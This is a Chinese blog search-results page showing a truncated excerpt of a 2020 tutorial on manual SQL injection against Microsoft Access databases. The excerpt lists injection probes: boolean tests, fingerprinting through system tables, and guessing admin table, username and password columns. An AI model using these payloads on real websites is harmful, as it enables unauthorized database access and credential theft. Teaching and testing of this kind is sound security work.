TypechoJoeTheme

MUCN博客

统计
登录
用户名
密码
/
注册
用户名
邮箱
搜索到 2 篇与 access注入 的结果
2020-02-21

SQL注入第二篇-Access数据库手工注入

SQL注入第二篇-Access数据库手工注入
Access数据库手工注入方法一判断注入' 出现错误 –可能存在注入漏洞and 1=1 返回正确and 1=2 返回错误 说明存在注入漏洞判断数据库and (select count(*) from msysobjects)>0 返回权限不足为access数据库and (select count(*) from sysobjects)>0 返回正常则为MSSQL数据库猜表名列名and exists (select * from 表名) 猜测表名and exists (select 列名 from 表名) 猜测列名如:判断是否存在admin的表:and exists (select * from admin)判断是否存在username的列:and exists (select username from admin)判断是否存在password的列:and exists (select password from admin)猜解用户名和密码长度and (select top 1 len(列名) from...
2020年02月21日
876 阅读
0 评论

人生倒计时

今日已经过去小时
这周已经过去
本月已经过去
今年已经过去个月

标签云